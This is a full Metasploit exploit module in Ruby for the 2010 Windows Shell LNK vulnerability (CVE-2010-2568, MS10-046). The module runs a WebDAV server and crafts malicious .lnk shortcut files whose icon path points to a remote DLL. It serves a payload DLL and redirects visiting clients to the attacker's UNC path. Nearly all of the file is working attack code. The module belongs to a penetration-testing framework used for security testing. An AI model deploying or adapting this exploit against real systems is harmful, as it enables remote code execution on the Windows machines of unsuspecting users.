##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  #
  # This module acts as an HTTP server
  #
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'	=> 'Microsoft Windows Shell LNK Code Execution',
        'Description'	=> %q{
          This module exploits a vulnerability in the handling of Windows
          Shortcut files (.LNK) that contain an icon resource pointing to a
          malicious DLL. This module creates a WebDAV service that can be used
          to run an arbitrary payload when accessed as a UNC path.
        },
        'Author' => [
          'hdm', # Module itself
          'jduck', # WebDAV implementation, UNCHOST var
          'B_H'    # Clean LNK template
        ],
        'License'	=> MSF_LICENSE,
        'References' => [
          ['CVE', '2010-2568'],
          ['OSVDB', '66387'],
          ['MSB', 'MS10-046']
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Payload' => {
          'Space'	=> 2048,
        },
        'Platform'	=> 'win',
        'Targets' => [
          [ 'Automatic',	{} ]
        ],
        'DisclosureDate' => '2010-07-16',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),
        OptString.new('URIPATH', [ true, "The URI to use (do not change).", "/" ]),
        OptString.new('UNCHOST', [ false, "The host portion of the UNC path to provide to clients (ex: 1.2.3.4)." ])
      ]
    )

    deregister_options('SSL', 'SSLVersion') # Just for now
  end

  def on_request_uri(cli, request)
    case request.method
    when 'OPTIONS'
      process_options(cli, request)
    when 'PROPFIND'
      process_propfind(cli, request)
    when 'GET'
      process_get(cli, request)
    else
      print_error("Unexpected request method encountered: #{request.method}")
      resp = create_response(404, "Not Found")
      resp.body = ""
      resp['Content-Type'] = 'text/html'
      cli.send_response(resp)
    end
  end

  def process_get(cli, request)
    if (request.uri =~ /\.dll$/i)
      print_status "Sending DLL payload"
      return if ((p = regenerate_payload(cli)) == nil)

      data = generate_payload_dll({ :code => p.encoded })
      send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
      return
    end

    if (request.uri =~ /\.lnk$/i)
      print_status "Sending LNK file"

      data = generate_link("#{@exploit_unc}#{@exploit_dll}")

      send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
      return
    end

    print_status "Sending UNC redirect"
    resp = create_response(200, "OK")

    resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=#{@exploit_unc}"></head><body></body></html>|

    resp['Content-Type'] = 'text/html'
    cli.send_response(resp)
  end

  #
  # OPTIONS requests sent by the WebDav Mini-Redirector
  #
  def process_options(cli, request)
    print_status("Responding to WebDAV OPTIONS request")
    headers = {
      'MS-Author-Via' => 'DAV',
      #			'DASL'          => '<DAV:sql>',
      #			'DAV'           => '1, 2',
      'Allow' => 'OPTIONS, GET, PROPFIND',
      'Public' => 'OPTIONS, GET, PROPFIND'
    }
    resp = create_response(207, "Multi-Status")
    resp.body = ""
    resp['Content-Type'] = 'text/xml'
    cli.send_response(resp)
  end

  #
  # PROPFIND requests sent by the WebDav Mini-Redirector
  #
  def process_propfind(cli, request)
    path = request.uri
    print_status("Received WebDAV PROPFIND request for #{path}")

    if path =~ /\.dll$/i
      # Response for the DLL
      print_status("Sending DLL multistatus for #{path} ...")
      body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{@exploit_dll}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000) + 128000}</lp1:getcontentlength>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|

      resp = create_response(207, "Multi-Status")
      resp.body = body
      resp['Content-Type'] = 'text/xml'
      cli.send_response(resp)
      return
    end

    if path =~ /\.lnk$/i
      # Response for the DLL
      print_status("Sending DLL multistatus for #{path} ...")
      body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{@exploit_lnk}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100) + 128}</lp1:getcontentlength>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>shortcut</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|

      resp = create_response(207, "Multi-Status")
      resp.body = body
      resp['Content-Type'] = 'text/xml'
      cli.send_response(resp)
      return
    end

    if path !~ /\/$/

      if path.index(".")
        print_status("Sending 404 for #{path} ...")
        resp = create_response(404, "Not Found")
        resp['Content-Type'] = 'text/html'
        cli.send_response(resp)
        return
      else
        print_status("Sending 301 for #{path} ...")
        resp = create_response(301, "Moved")
        resp["Location"] = path + "/"
        resp['Content-Type'] = 'text/html'
        cli.send_response(resp)
        return
      end
    end

    print_status("Sending directory multistatus for #{path} ...")
    body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
  <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
    <D:href>#{path}</D:href>
    <D:propstat>
      <D:prop>
        <lp1:resourcetype><D:collection/></lp1:resourcetype>
        <lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
        <lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
        <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
        <D:supportedlock>
          <D:lockentry>
            <D:lockscope><D:exclusive/></D:lockscope>
            <D:locktype><D:write/></D:locktype>
          </D:lockentry>
          <D:lockentry>
            <D:lockscope><D:shared/></D:lockscope>
            <D:locktype><D:write/></D:locktype>
          </D:lockentry>
        </D:supportedlock>
        <D:lockdiscovery/>
        <D:getcontenttype>httpd/unix-directory</D:getcontenttype>
      </D:prop>
    <D:status>HTTP/1.1 200 OK</D:status>
  </D:propstat>
</D:response>
|

    subdirectory = %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{Rex::Text.rand_text_alpha(6)}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|

    files = %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{@exploit_dll}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000) + 128000}</lp1:getcontentlength>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>

<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{@exploit_lnk}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100) + 128}</lp1:getcontentlength>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>shortcut</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
    if request["Depth"].to_i > 0
      if path.scan("/").length < 2
        body << subdirectory
      else
        body << files
      end
    end

    body << "</D:multistatus>"

    body.gsub!(/\t/, '')

    # send the response
    resp = create_response(207, "Multi-Status")
    resp.body = body
    resp['Content-Type'] = 'text/xml; charset="utf8"'
    cli.send_response(resp)
  end

  def generate_link(unc)
    uni_unc = unc.unpack("C*").pack("v*")
    path = ''
    path << [
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00
    ].pack("C*")
    path << uni_unc

    # LinkHeader
    ret = [
      0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
    ].pack('C*')

    idlist_data = ''
    idlist_data << [0x12 + 2].pack('v')
    idlist_data << [
      0x1f, 0x00, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,
      0x30, 0x9d
    ].pack('C*')
    idlist_data << [0x12 + 2].pack('v')
    idlist_data << [
      0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
      0x30, 0x9d
    ].pack('C*')
    idlist_data << [path.length + 2].pack('v')
    idlist_data << path
    idlist_data << [0x00].pack('v') # TERMINAL WOO

    # LinkTargetIDList
    ret << [idlist_data.length].pack('v') # IDListSize
    ret << idlist_data

    # ExtraData blocks (none)
    ret << [rand(4)].pack('V')

    # Patch in the LinkFlags
    ret[0x14, 4] = ["10000001000000000000000000000000".to_i(2)].pack('N')
    ret
  end

  def exploit
    unc = "\\\\"
    if (datastore['UNCHOST'])
      unc << datastore['UNCHOST'].dup
    else
      unc << ((srvhost == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : srvhost)
    end
    unc << "\\"
    unc << rand_text_alpha(rand(8) + 4)
    unc << "\\"

    @exploit_unc = unc
    @exploit_lnk = rand_text_alpha(rand(8) + 4) + ".lnk"
    @exploit_dll = rand_text_alpha(rand(8) + 4) + ".dll"

    if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
      fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
    end

    print_status("Send vulnerable clients to #{@exploit_unc}.")
    print_status("Or, get clients to save and render the icon of http://<your host>/<anything>.lnk")

    super
  end
end
